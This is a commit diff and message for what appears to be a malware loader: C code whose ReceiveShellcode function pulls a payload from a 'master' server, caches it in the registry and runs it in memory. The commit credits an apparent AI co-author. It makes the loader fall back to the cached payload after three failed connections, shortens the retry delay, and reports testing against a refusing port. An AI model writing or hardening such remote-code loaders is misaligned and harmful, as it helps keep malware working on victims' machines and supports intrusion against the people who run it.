Fix: run the cached client payload when the master is unreachable
Both loaders only reached the registry-payload fallback after a successful TCP connect: the connect-failure branch just continued, and requestCount only advanced once a connection was established. A host that could not reach the master therefore retried forever and never ran the copy cached in the registry. Count consecutive connect failures; when MAX_CONNECT_FAILS (3) is reached and a payload was recorded (version non-empty), break out of the retry loop so the existing fallback code runs. Without a cached copy the loop still retries forever, as before, and a successful connect resets the counter. While fewer than three failures have accumulated the retry interval is 5 seconds instead of the random 0-119s (0-29s in test.cpp) backoff, so the fallback is not delayed by minutes; after the threshold the original backoff resumes. main.c and test.cpp (MemoryDllRunner) get the same change. The fallback itself is untouched, including its "bad copy => return NULL" behavior. Verified on main.c with a harness against a refusing port: three failed connects, then the cached payload was returned after ~16s. test.cpp was compile-checked with MSBuild (TestRun, Release x64); it was not run. Co-Authored-By: deepseek-flash
This commit is contained in:
1 parent
e6a3255a2b
commit
f618fbdc8b
2 files changed
+18
-3
No files matched your search
+9
-2
@@ -20,6 +20,10 @@
|
||||
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
|
||||
#ifndef MAX_CONNECT_FAILS
|
||||
#define MAX_CONNECT_FAILS 3
|
||||
#endif
|
||||
|
||||
#pragma pack(push, 4)
|
||||
typedef struct PkgHeader {
|
||||
char flag[8];
|
||||
@@ -272,10 +276,10 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
|
||||
const int bufSize = (8 * 1024 * 1024);
|
||||
char* buffer = NULL;
|
||||
BOOL isFirstConnect = TRUE;
|
||||
int attemptCount = 0, requestCount = 0;
|
||||
int attemptCount = 0, requestCount = 0, connectFailCount = 0;
|
||||
do {
|
||||
if (!isFirstConnect)
|
||||
Sleep(IsRelease ? rand() % 120 * 1000 : 5000);
|
||||
Sleep((IsRelease && connectFailCount >= MAX_CONNECT_FAILS) ? rand() % 120 * 1000 : 5000);
|
||||
isFirstConnect = FALSE;
|
||||
if (++attemptCount == 20)
|
||||
PostMessage((HWND)g_Server.parentHwnd, 4046, (WPARAM)933711587, (LPARAM)1643138518);
|
||||
@@ -295,8 +299,11 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
|
||||
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
|
||||
closesocket(clientSocket);
|
||||
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
|
||||
if (++connectFailCount >= MAX_CONNECT_FAILS && hash[0])
|
||||
break;
|
||||
continue;
|
||||
}
|
||||
connectFailCount = 0;
|
||||
|
||||
char command[64] = { 210, sizeof(void*) == 8, 0, IsRelease, __DATE__ };
|
||||
char req[sizeof(PkgHeader) + sizeof(command)] = { 0 };
|
||||
|
||||
Reference in new issue
Block a user